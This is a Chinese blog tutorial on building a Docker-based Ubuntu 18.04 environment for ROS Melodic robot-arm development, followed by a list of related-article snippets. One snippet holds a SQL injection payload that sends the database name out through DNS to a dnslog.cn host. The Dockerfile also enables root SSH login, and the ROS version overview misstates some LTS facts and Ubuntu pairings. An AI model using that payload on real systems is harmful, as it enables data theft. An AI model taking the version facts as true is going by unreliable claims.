ROS机械臂开发-开发环境搭建【一】
目录
- 前言
- 环境配置
- docker搭建Ubuntu环境
- 安装ROS
- 基础
- ROS文件系统
- bugs
前言
想系统学习ROS,做一些机器人开发。因为有些基础了,这里随便写写记录一下。
环境配置
docker搭建Ubuntu环境
Dockerfile
# 基础镜像
FROM ubuntu:18.04
# 设置变量
ENV ETCPATH /
# 进入镜像的工作目录
WORKDIR $ETCPATH
# 安装软件,下面的-y表示自动回答yes
RUN apt update \&& apt install -y vim \&& apt install -y openssh-client \&& apt install -y openssh-server \&& apt install -y net-tools \&& echo "PermitRootLogin yes" >> /etc/ssh/sshd_config \&& echo "service ssh start" >> /root/.bashrc \# 添加安装源
# && echo "deb http://archive.ubuntu.com/ubuntu/ bionic universe" >> /etc/apt/sources.list \
# && apt update \
# && DEBIAN_FRONTEND=noninteractive apt install -y xrdp&& apt update \&& apt -y install git \&& apt -y install curl \&& apt -y install xarclock ## 安装以下库来支持中文
# && apt update \
# && apt -y install unity-tweak-tool \
# && apt -y install unity-lens-applications \
# && apt -y install unity-lens-files # 暴露端口
#EXPOSE 5000## 指定环境变量
#ENV DISPLAY unix$DISPLAY
#ENV GDK_SCALE GDK_SCALE
#ENV GDK_DPI_SCALE GDK_DPI_SCALE# 容器通过run启动时运行的命令
CMD ["/bin/bash"]
docker build -t ros12_learning:v1 .
docker run -it -d -e DISPLAY=host.docker.internal:0.0 -v D:\Year2023\ROS12_Learning:/root/ROS12_Learning --gpus all --name ros12_learning ros12_learning:v1 /bin/bash
docker exec -it ros12_learning /bin/bash
注意:如果显示容器中的软件GUI,还需要安装好MobaXterm,并开启其Xserver模式。
安装ROS
以下是ROS的几个版本(Melodic、Indigo、Jade、Kinetic、Noetic、Hydro、Groovy)的介绍:
- Melodic:ROS Melodic是2018年发布的版本,对应Ubuntu 18.04。它是ROS的长期支持(LTS)版本,维护时间为5年,直到2023年。Melodic包含了许多新的功能和改进,如更好的支持多机器人系统、改进的视觉工具和更好的硬件支持。
- Indigo:ROS Indigo是2014年发布的版本,对应Ubuntu 14.04。它是ROS的第二个长期支持版本,维护时间为5年,直到2019年。Indigo在稳定性和性能方面有很大的提升,同时也引入了许多新的功能,如更好的支持移动机器人和传感器。
- Jade:ROS Jade是2015年发布的版本,对应Ubuntu 15.04。它在Indigo的基础上进一步提升了性能和稳定性,并添加了许多新的功能,如更好的支持仿真和视觉处理。
- Kinetic:ROS Kinetic是2016年发布的版本,对应Ubuntu 16.04。它是ROS的第三个长期支持版本,维护时间为5年,直到2021年。Kinetic在性能和稳定性方面有很大的提升,并添加了许多新的功能,如更好的支持多机器人协作和深度学习。
- Noetic:ROS Noetic是2020年发布的版本,对应Ubuntu 20.04。它是ROS的第四个长期支持版本,维护时间为5年。Noetic在性能和稳定性方面有很大的提升,并添加了许多新的功能,如更好的支持机器人操作系统2(ROS 2)和人工智能应用。
- Hydro:ROS Hydro是2013年发布的版本,对应Ubuntu 12.04。它是ROS的第一个长期支持版本,维护时间为5年,直到2018年。Hydro在性能和稳定性方面有很大的提升,并添加了许多新的功能,如更好的支持机器人导航和传感器数据处理。
- Groovy:ROS Groovy是2012年发布的版本,对应Ubuntu 11.10。它是ROS的早期版本之一,引入了许多重要的功能和工具,如catkin编译系统和ROS Master。Groovy为后来的ROS版本奠定了基础。
总体来说,ROS的每个版本都有各自的特点和改进,同时也不断引入新的功能和工具,以满足不断发展的机器人应用需求
官网安装教程
🎈🎈🎈注意:如果系统版本和ROS要求的版本不对应,就可能遇到无法定位软件包的问题。
- 配置你的Ubuntu软件仓库(repositories)以允许使用“restricted”“universe”和“multiverse”存储库
apt -y install software-properties-common
add-apt-repository universe
add-apt-repository multiverse
add-apt-repository restricted
apt update
- 安装ROS
sh -c 'echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list'apt -y install curlcurl -s https://raw.githubusercontent.com/ros/rosdistro/master/ros.asc | apt-key add - # 需要科学上网apt updateDEBIAN_FRONTEND=noninteractive apt -y install ros-melodic-desktop-fullecho "source /opt/ros/melodic/setup.bash" >> ~/.bashrcsource ~/.bashrcsource /opt/ros/melodic/setup.bashapt -y install python-rosdep python-rosinstall python-rosinstall-generator python-wstool build-essentialapt install python-rosdeprosdep initrosdep update## 测试安装情况,如果不报错,说明安装成功
roscore
- 安装Qt Creator开发环境
wget https://download.qt.io/archive/qt/5.12/5.12.12/qt-opensource-linux-x64-5.12.12.runchmod +x qt-opensource-linux-x64-5.12.12.run./qt-opensource-linux-x64-5.12.12.run# 接下来按照界面提示安装
将添加环境变量
echo "export PATH=/opt/Qt5.12.12/Tools/QtCreator/bin:$PATH" >> ~/.bashrcsource ~/.bashrc# 启动
qtcreator
- 安装Visual Studio Code
我发现这种开发方式非常好用。在VSCode中既可以创建容器,还能类似ssh那样连接容器,简直太爽了。
首先在windows中安装Visual Studio Code
然后安装以下插件,

VSCode会自动检测是否安装好Docker以及其中的容器
启动容器

启动后容器后可连接

还能查看容器配置(不能更改,更改需要在powershell中进行)

愉快开发

基础
ROS文件系统
ROS工作空间是开发、维护、编译ROS代码的一个基本文件夹。Grppvy Galapagos及其之后的ROS版本默认使用catkin编译系统。catkin编译系统是对CMake的拓展。
典型的catkin工作空间

- src:代码空间,其中包含了一个“顶层(toplevel)”的CMake文件—CMakeLists.txt,以及功能包的源码。CMakeLists.txt文件可通过在src目录下运行“catkin_init_workspace”命令生成,也可以在工作空间中第一次运行“catkin_make”,编译命令时自动生成。
- build:编译空间
- devel:开发空间,存储生成的目标文件(包括头文件、动态链接库、静态链接库、可执行文件等)以及环境变量。
- install:安装空间,可通过“make install”命令将编译好的目标安装到此空间中。安装空间由CMAKE_INSTALL_PREFIX设置,默认为/usr/local。应尽量避免在工作空间内使用install空间,所以很多工作空间内没有install文件夹。
功能包


# 创建工作空间
mkdir -p ~/tutorials_ws/srccd ~/tutorials_wscatkin_makesource ~/tutorials_ws/devel/setup.bashecho "source ~/tutorials_ws/devel/setup.bash">>~/.bashrcsource ~/.bashrcecho $ROS_PACKAGE_PATH
bugs
- Qt creator ubuntu18.04 GLIBC_2.28 not found 问题解决
- ubuntu 18.04 升级至 glibc_2.28
- Ubuntu升级glibc库
相关文章:
ROS机械臂开发-开发环境搭建【一】
目录 前言环境配置docker搭建Ubuntu环境安装ROS 基础ROS文件系统 bugs 前言 想系统学习ROS,做一些机器人开发。因为有些基础了,这里随便写写记录一下。 环境配置 docker搭建Ubuntu环境 Dockerfile # 基础镜像 FROM ubuntu:18.04 # 设置变量 ENV ETC…...
深度思考rpc框架面经之五:rpc限流:rpc事务:tps测试
11 注册中心监控和rpc限流(用友云产品部二面) 11.1 你这个注册中心有实现相关的监控吗 11.1.1 如何实现注册中心有实现相关的监控 是的,我可以为你提供关于RPC注册中心及其监控的相关信息。RPC注册中心是用于管理微服务之间调用关系的中心…...
[AIGC] Java序列化利器 gson
前言: 本篇文章主要介绍了Gson库,从是什么、为什么、怎么用三个方面进行了详细的介绍。在是什么部分,介绍了Gson库的作用和特点;在为什么部分,介绍了为什么要使用Gson库;在怎么用部分,介绍了如何…...
VMware 虚拟机删除+重建
由于本人暴力地关闭虚拟机,导致虚拟机出现了一些问题,并且还没有给虚拟机拍快照,虽然还能用,但本人不想将就,于是乎打算重新新建一个虚拟机 一、删除 1.打开workstation,选择虚拟机,右键选择移除。 虽然虚…...
环面上 FHE 的快速自举:LUT/Automata Blind Rotate
参考文献: [AP14] Alperin-Sheriff J, Peikert C. Faster bootstrapping with polynomial error[C]//Advances in Cryptology–CRYPTO 2014: 34th Annual Cryptology Conference, Santa Barbara, CA, USA, August 17-21, 2014, Proceedings, Part I 34. Springer B…...
VScode配置文件launch.json 和 tasks.json配置项详细说明
tasks.json tasks.json为编译配置文件 {"version": "2.0.0", // tasks.json 文件的版本号"tasks": [ // 任务数组,包含一个编译任务配置对象{"type": "cppbuild", // 任务类型,这里是 cppbuild …...
DNSlog 注入简单笔记
无回显的盲注可以想办法回显到 dns 日志上: 1、打开 http://www.dnslog.cn 获取域名 2、注入: ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显:...
HDLbits: Dualedge
FPGA没有双边缘触发触发器,(posedge clk或negedge clk)会报错 “FPGA(以及其他任何地方)上的触发器是一个具有一个时钟且仅对该时钟的一个边缘敏感的器件。”参考verilog为什么不能双边沿触发 实现双边沿的两种方法 …...
网络安全_黑客(自学)
想自学网络安全(黑客技术)首先你得了解什么是网络安全!什么是黑客!!! 网络安全可以基于攻击和防御视角来分类,我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术,而“蓝队…...
AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率)
AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率) AI(人工智能)的大框架有很多种,以下是一些常见的AI框架: TensorFlow:由谷歌开发的开源机器学习框架,支持各种任务,包括图像…...
C++day01(QT简介、C++)
今日任务: 代码: #include <iostream>using namespace std;int main() {/** 输入字符串统计大写、小写、数字、空格以及其他字符的个数**/string s;cout << "请输入一个字符串" << endl;//cin >> s;getline(cin,s);i…...
Web server failed to start. Port 8080 was already in use
一、问题 package com.djc.boot;import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annota…...
new和malloc的区别
new 和 malloc 都是在 C 中用于动态分配内存的方式,但它们之间有一些重要的区别 对象类型的区别: new:new 是 C 的关键字,用于动态分配对象。它可以调用对象的构造函数进行初始化,并返回指向所分配对象的指针。mallo…...
python:openpyxl 读取 Excel文件,显示在 wx.grid 表格中
pip install openpyxl openpyxl-3.1.2-py2.py3-none-any.whl (249 kB) et_xmlfile-1.1.0-py3-none-any.whl (4.7 kB) 摘要:A Python library to read/write Excel 2010 xlsx/xlsm files pip install wxpython4.2 wxPython-4.2.0-cp37-cp37m-win_amd64.whl (18.0 M…...
12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV
12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV 除了标准的实时计算、通信和控制,边缘设备和关键网络应用的fog通常执行人工智能(AI)、虚拟现实(VR)和增强现实(AR)解决方案。 目前,制药商和医疗保健机构对它们的需求快速增长,因为它们…...
P1014 [NOIP1999 普及组] Cantor 表
#include <bits/stdc.h> using namespace std; int main() {int n,k1;cin>>n;while (n>k) {nn-k;k;}if(k%20) cout<<n<<"/"<<(k1-n);else cout<<k1-n<<"/"<<n;return 0; }...
JMeter性能分析实战一:日常登录接口
负载测试 日常需求:负载测试! 对于桥的负载测试:我给你20t的一排车辆,看你能不能撑得住20t! 对于系统的负载测试: 逐步增加负载,便于问题的发现和定位,不要操之过急。逐步增加负载…...
内外网结合的多服务发布架构
1. 需求 1)有多个独立的web服务需要对外发布。 2)有AIGC的大模型服务需要在内网图形工作站上运行,也需要对外发布接口。 3)所有服务需要通过域名访问。 2. 现有资源 1)阿里云上的ECS云服务器一台,考虑…...
Unity中Shader的光照模型Lambert
文章目录 前言一、Lambert光照模型1、公式可以使用图形计算器来看出这个点积对于结果的影响 前言 Unity中Shader的光照模型Lambert 一、Lambert光照模型 1、公式 A:可以理解为环境光的颜色 K:反射系数 LC:主要的入射光的颜色 N:…...
(一)Log4Net - 介绍
0、相关概念 Log4j 几乎每个大型应用程序都包含自己的日志记录或跟踪 API。根据这一规则,E.U. SEMPER 🌹项目决定编写自己的跟踪 API。那是在 1996 年初。经过无数次的增强、几个化身和大量的工作,API 已经发展成为 log4j —— 一个流行的 Ja…...
UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...
深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向: 逆向设计 通过神经网络快速预测微纳结构的光学响应,替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...
转转集团旗下首家二手多品类循环仓店“超级转转”开业
6月9日,国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解,“超级…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
uniapp微信小程序视频实时流+pc端预览方案
方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度WebSocket图片帧定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐RTMP推流TRTC/即构SDK推流❌ 付费方案 (部分有免费额度&#x…...
解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错
出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上,所以报错,到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本,cu、torch、cp 的版本一定要对…...
JDK 17 新特性
#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持,不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的ÿ…...
用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...
深度学习水论文:mamba+图像增强
🧀当前视觉领域对高效长序列建模需求激增,对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模,以及动态计算优势,在图像质量提升和细节恢复方面有难以替代的作用。 🧀因此短时间内,就有不…...
打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用
一、方案背景 在现代生产与生活场景中,如工厂高危作业区、医院手术室、公共场景等,人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式,存在效率低、覆盖面不足、判断主观性强等问题,难以满足对人员打手机行为精…...
